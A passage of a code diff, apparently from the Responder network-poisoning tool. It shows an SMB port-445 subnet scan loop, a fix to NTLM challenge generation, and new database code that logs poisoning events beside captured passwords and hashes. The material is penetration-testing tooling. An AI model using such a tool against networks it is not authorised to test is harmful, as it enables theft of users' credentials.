for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
|
||||||
|
if CurrentIP == host:
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
p = multiprocessing.Process(target=ShowScanSmallResults, args=((host,445),))
|
||||||
|
threads.append(p)
|
||||||
|
p.start()
|
||||||
|
sleep(1)
|
||||||
|
else:
|
||||||
|
ShowScanSmallResults((Host,445))
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
28
utils.py
28
utils.py
@@ -26,7 +26,7 @@ import datetime
|
|||||||
def RandomChallenge():
|
def RandomChallenge():
|
||||||
if settings.Config.NumChal == "random":
|
if settings.Config.NumChal == "random":
|
||||||
from random import getrandbits
|
from random import getrandbits
|
||||||
NumChal = '%0x' % getrandbits(16 * 4)
|
NumChal = '%016x' % getrandbits(16 * 4)
|
||||||
Challenge = ''
|
Challenge = ''
|
||||||
for i in range(0, len(NumChal),2):
|
for i in range(0, len(NumChal),2):
|
||||||
Challenge += NumChal[i:i+2].decode("hex")
|
Challenge += NumChal[i:i+2].decode("hex")
|
||||||
@@ -146,14 +146,17 @@ def DumpConfig(outfile, data):
|
|||||||
with open(outfile,"a") as dump:
|
with open(outfile,"a") as dump:
|
||||||
dump.write(data + '\n')
|
dump.write(data + '\n')
|
||||||
|
|
||||||
def SaveToDb(result):
|
def CreateResponderDb():
|
||||||
# Creating the DB if it doesn't exist
|
|
||||||
if not os.path.exists(settings.Config.DatabaseFile):
|
if not os.path.exists(settings.Config.DatabaseFile):
|
||||||
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||||
cursor.execute('CREATE TABLE responder (timestamp varchar(32), module varchar(16), type varchar(16), client varchar(32), hostname varchar(32), user varchar(32), cleartext varchar(128), hash varchar(512), fullhash varchar(512))')
|
cursor.execute('CREATE TABLE Poisoned (timestamp TEXT, Poisoner TEXT, SentToIp TEXT, ForName TEXT, AnalyzeMode TEXT)')
|
||||||
|
cursor.commit()
|
||||||
|
cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)')
|
||||||
cursor.commit()
|
cursor.commit()
|
||||||
cursor.close()
|
cursor.close()
|
||||||
|
|
||||||
|
def SaveToDb(result):
|
||||||
|
|
||||||
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
|
for k in [ 'module', 'type', 'client', 'hostname', 'user', 'cleartext', 'hash', 'fullhash' ]:
|
||||||
if not k in result:
|
if not k in result:
|
||||||
result[k] = ''
|
result[k] = ''
|
||||||
@@ -222,6 +225,23 @@ def SaveToDb(result):
|
|||||||
cursor.commit()
|
cursor.commit()
|
||||||
cursor.close()
|
cursor.close()
|
||||||
|
|
||||||
|
def SavePoisonersToDb(result):
|
||||||
|
|
||||||
|
for k in [ 'Poisoner', 'SentToIp', 'ForName', 'AnalyzeMode' ]:
|
||||||
|
if not k in result:
|
||||||
|
result[k] = ''
|
||||||
|
|
||||||
|
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||||
|
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||||
|
res = cursor.execute("SELECT COUNT(*) AS count FROM Poisoned WHERE Poisoner=? AND SentToIp=? AND ForName=? AND AnalyzeMode=?", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
|
||||||
|
(count,) = res.fetchone()
|
||||||
|
|
||||||
|
if not count:
|
||||||
|
cursor.execute("INSERT INTO Poisoned VALUES(datetime('now'), ?, ?, ?, ?)", (result['Poisoner'], result['SentToIp'], result['ForName'], result['AnalyzeMode']))
|
||||||
|
cursor.commit()
|
||||||
|
|
||||||
|
cursor.close()
|
||||||
|
|
||||||
|
|
||||||
def Parse_IPV6_Addr(data):
|
def Parse_IPV6_Addr(data):
|
||||||
if data[len(data)-4:len(data)][1] =="\x1c":
|
if data[len(data)-4:len(data)][1] =="\x1c":
|
||||||
|
|||||||
Reference in New Issue
Block a user